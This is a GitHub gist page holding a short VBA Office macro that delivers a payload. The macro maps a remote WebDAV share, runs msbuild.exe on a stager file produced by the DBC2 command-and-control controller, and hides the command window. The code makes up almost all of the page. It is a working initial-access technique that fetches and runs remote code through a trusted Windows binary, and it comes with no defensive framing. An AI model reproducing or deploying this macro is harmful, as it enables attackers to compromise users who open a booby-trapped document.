Skip to content

Instantly share code, notes, and snippets.

@Arno0x
Last active October 12, 2023 23:19
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 8 You must be signed in to fork a gist
  • Save Arno0x/878f6c5ad7e111f9def86753c82ab8e2 to your computer and use it in GitHub Desktop.
Save Arno0x/878f6c5ad7e111f9def86753c82ab8e2 to your computer and use it in GitHub Desktop.
Office macro using WedDav mapping to deliver payload
'
' Example of DBC2 msbuild.xml stager delivery through a webdav maping
' The stager file (msbuild.xml) can be generated from the DBC2 controller
'
' NOTE:
' msbuild.exe is supposed to accept a path straight from a webdav server (ex: msbuild.exe \\webdav_server\msbuild.xml)
' but it fails miserably for me, so I have to have to first map the drive...
Sub Go()
Dim cmd As String, srv As String
Dim result As Integer
srv = "webdav_server_name_or_ip"
'----------------------------------------------------------
' Map WebDav drive as a local drive
cmd = "cmd /c ""pushd \\" & srv & "\ & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml & popd"""
result = Shell(cmd, vbHide)
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment